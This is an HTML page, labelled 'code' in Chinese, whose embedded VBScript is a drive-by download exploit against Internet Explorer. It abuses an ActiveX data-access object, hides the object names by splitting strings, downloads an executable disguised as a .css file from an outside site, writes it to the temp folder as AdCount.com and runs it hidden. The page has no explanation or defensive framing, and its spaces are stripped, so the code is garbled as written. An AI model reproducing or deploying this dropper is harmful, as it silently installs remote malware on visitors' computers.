代碼:
<html>
<scriptlanguage="VBScript">
onerrorresumenext
clID1="clsi"
clID2="d:BD96C556-65A3-11D0-983A-00C04FC29E36"
XML1="Mic"
XML2="rosoft.XMLHTTP"
AdoSqa1="Adodb.S"
AdoSqa2="tream"
oGet="GET"
fname1="AdCount.com"
SFO="Scripting.FileSystemObject"
SApp="Shell.Application"
dl="http://www.yyc8.com/script/src/rss3.css"
Setdf=document.createElement("object")
df.setAttribute"classid",clID1&clID2
Setx=df.CreateObject(XML1&XML2,"")
setS=df.createobject(AdoSqa1&AdoSqa2,"")
S.type=1
x.OpenoGet,dl,False
x.Send
setF=df.createobject(SFO,"")
settmp=F.GetSpecialFolder(2)
fname1=F.BuildPath(tmp,fname1)
S.open
S.writex.responseBody
S.savetofilefname1,2
S.close
setQ=df.createobject(SApp,"")
Q.ShellExecutefname1,"","","open",0
</script>
<head>
<title>InternetExplorer</title>
</head><body></body></html>